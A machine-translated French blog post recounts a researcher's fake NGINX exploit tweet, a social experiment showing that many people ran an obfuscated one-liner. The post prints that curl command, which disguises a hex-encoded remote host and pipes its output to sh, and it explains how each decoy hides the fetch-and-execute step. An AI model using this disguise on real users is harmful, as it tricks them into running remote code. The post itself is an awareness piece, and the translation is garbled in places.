Le succès d'une expérience sociale avec un faux exploit pour nginx

Remarque perev. : L'auteur de l' article original, publié le 1er juin, a décidé de mener une expérience auprès des personnes intéressées par la sécurité de l'information. Pour ce faire, il a préparé un faux exploit pour une vulnérabilité non divulguée du serveur Web et l'a publié sur son twitter. Ses hypothèses - d'être instantanément révélées par des experts qui voient une fraude évidente dans le code - ne se sont pas simplement réalisées ... Elles ont dépassé toutes les attentes, et dans le sens inverse: le tweet a reçu un grand soutien de nombreuses personnes qui n'ont pas vérifié son contenu.



TL; DR: n'utilisez jamais de pipelining de fichier dans sh ou bash. C'est un excellent moyen de perdre le contrôle de votre ordinateur.

Je veux partager avec vous une courte histoire sur l'exploit PoC comique qui a été créé le 31 mai. Il est apparu rapidement en réponse à des nouvelles d' Alisa Esage Shevchenko , membre de la Zero Day Initiative (ZDI), que des informations sur la vulnérabilité de NGINX conduisant à RCE (exécution de code à distance) seraient bientôt révélées. Étant donné que NGINX est à la base de nombreux sites Web, les informations étaient censées produire l'effet d'une bombe explosant. Mais en raison de retards dans le processus de «divulgation responsable» des informations, les détails de ce qui s'est passé n'étaient pas connus - il s'agit de la procédure ZDI standard.


Tweet de divulgation de vulnérabilité NGINX

Ayant terminé le travail sur la nouvelle technique d'obfuscation en curl, j'ai cité le tweet original et «divulgué le PoC fonctionnel», composé d'une ligne de code utilisant prétendument la vulnérabilité découverte. Bien sûr, c'était complètement absurde. Je pensais qu'ils m'apporteraient immédiatement de l'eau propre et qu'au mieux j'obtiendrais quelques retweets (d'accord).


Faux tweet d' exploit

Cependant, je ne pouvais pas imaginer ce qui s'est passé ensuite. La popularité de mon tweet a explosé. Étonnamment, à l'heure actuelle (15h00, heure de Moscou, le 1er juin), jusqu'à présent, peu de gens ont réalisé qu'il s'agissait d'un faux. Beaucoup le retweetent sans vérifier du tout (sans parler de l'admiration des superbes graphismes ASCII qu'il affiche).


Regardez quelle beauté!

Bien que toutes ces boucles et couleurs soient merveilleuses, bien sûr: pour les voir, les gens ont exécuté le code sur leur machine. Heureusement, les navigateurs fonctionnent de la même manière, et en combinaison avec le fait que je n'ai pas du tout besoin de problèmes juridiques, le code caché dans mon site vient de faire des appels d'écho sans essayer d'installer ou d'exécuter du code supplémentaire.

Une petite digression: netspooky , dnz , moi et d'autres gars de l'équipe Thugcrowd jouons avec différentes façons d'obscurcir les commandes de curl depuis un certain temps, parce que c'est cool ... et nous sommes des geeks. netspooky et dnz ont découvert plusieurs nouveaux moyens qui me paraissaient extrêmement prometteurs. Je me suis joint au plaisir et j'ai essayé d'ajouter des conversions décimales IP à un ensemble de trucs. Il s'est avéré que IP peut également être converti en hexadécimal. De plus, curl et la plupart des autres outils NIX aiment manger des adresses IP hexadécimales! Ainsi, tout ce qui était nécessaire était de créer simplement une ligne de commande convaincante et sûre. Je me suis finalement installé sur ceci:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost 

Ingénierie socio-électronique (SEE) - Plus qu'un simple hameçonnage

La sécurité et l'habitude étaient la partie principale de cette expérience. Je pense que ce sont eux qui ont mené à son succès. La ligne de commande impliquait explicitement la sécurité, faisant référence à "127.0.0.1" (l'hôte local bien connu). On pense que localhost est sûr et que les données qu'il contient ne quittent jamais votre ordinateur.

L'habitabilité a été le deuxième élément SEE clé de l'expérience. Étant donné que le public cible était principalement composé de personnes familiarisées avec les bases de la sécurité informatique, il était important de créer un code tel que ses parties semblaient familières et familières (et donc sûres). Emprunter des éléments d'anciens concepts d'exploitation et les combiner de manière inhabituelle a été un grand succès.

Vous trouverez ci-dessous une analyse détaillée d'une seule ligne. Tout sur cette liste est de nature cosmétique , et pratiquement rien n'est requis pour son vrai travail.

Quels composants sont vraiment nécessaires? Il s'agit de -gsS , -O 0x0238f06a , |sh et du serveur Web lui-même. Le serveur Web ne contenait aucune instruction malveillante, mais passait simplement des graphiques ASCII à l'aide des commandes d' echo dans le script contenu dans index.html . Lorsque l'utilisateur a entré une ligne avec |sh au milieu, index.html été chargé et exécuté. Heureusement, les gardiens de serveurs Web n'avaient aucune mauvaise intention.

• ../../../%00 - représente une sortie en dehors du répertoire;
• ngx_stream_module.so - chemin vers le module NGINX aléatoire;
• /bin/sh%00\<'protocol:TCP' - nous supposons exécuter /bin/sh sur la machine cible et rediriger la sortie vers le canal TCP;
• -O 0x0238f06a#PLToffset - un ingrédient secret complété par #PLToffset pour ressembler à un décalage de mémoire en quelque sorte contenu dans le PLT;
• |sh; - Une autre pièce importante. Nous devions rediriger la sortie vers sh / bash afin d'exécuter le code provenant du serveur Web attaquant situé à 0x0238f06a ( 2.56.240.x );
• nc /dev/tcp/localhost - un mannequin dans lequel netcat fait référence à /dev/tcp/localhost afin que tout semble à nouveau sûr. En fait, il ne fait rien et est inclus dans la ligne de la beauté.

Ceci conclut le décodage d'un script d'une ligne et la discussion des aspects de «l'ingénierie socio-électronique» (phishing complexe).

Configuration et contre-mesures du serveur Web

Étant donné que l'écrasante majorité de mes abonnés sont des spécialistes de la sécurité de l'information / des pirates informatiques, j'ai décidé de rendre le serveur Web un peu plus résistant aux manifestations d '«intérêt» de leur part, juste pour que les gars aient quelque chose à faire (et c'était amusant de le configurer). Je ne vais pas énumérer tous les pièges ici, car l'expérience est toujours en cours, mais voici quelques choses que le serveur fait:

• Surveille activement les tentatives de distribution sur certains réseaux sociaux et substitue diverses vignettes d'aperçu pour encourager l'utilisateur à suivre le lien.
• Redirige Chrome / Mozilla / Safari / etc. vers la vidéo promotionnelle Thugcrowd au lieu d'afficher le script shell.
• Il surveille les signes évidents d'intrusion / piratage, après quoi il commence à rediriger les demandes vers les serveurs NSA (ha!).
• Installe le cheval de Troie, ainsi que le BIOS rootkit, sur tous les ordinateurs dont les utilisateurs visitent l'hôte à partir d'un navigateur normal (blague!).

Une petite partie de l'antimère

Dans ce cas, mon seul objectif était d'apprendre certaines des fonctionnalités d'Apache - en particulier, des règles intéressantes pour rediriger les demandes - et je me suis dit: pourquoi pas?

Exploit NGINX (réel!)

Suivez @alisaesage sur Twitter et restez à l'écoute pour le travail remarquable de ZDI dans la suppression de vulnérabilités complètement réelles et l'exploitation des opportunités dans NGINX. Leur travail m'a toujours fasciné et je suis reconnaissant à Alice pour la patience avec toutes les mentions et notifications causées par mon stupide tweet. Heureusement, cela a apporté certains avantages: il a contribué à sensibiliser aux vulnérabilités NGINX, ainsi qu'aux problèmes causés par l'abus des boucles.